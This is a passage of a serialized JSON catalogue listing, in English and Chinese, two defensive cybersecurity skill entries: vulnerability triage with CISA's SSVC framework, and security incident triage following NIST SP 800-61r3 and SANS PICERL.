prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[242,245],{"categoryNo":243,"categoryName":244,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[247,248,249,49,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":267,"name":268,"nameZh":269,"description":270,"descriptionZh":271,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":272,"categories":273,"keywords":278,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[274,275],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":276,"categoryName":277,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[50,279,49,280,281,282,283,284,285,286,287,198,288,199,289,290,291,292,293,294],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]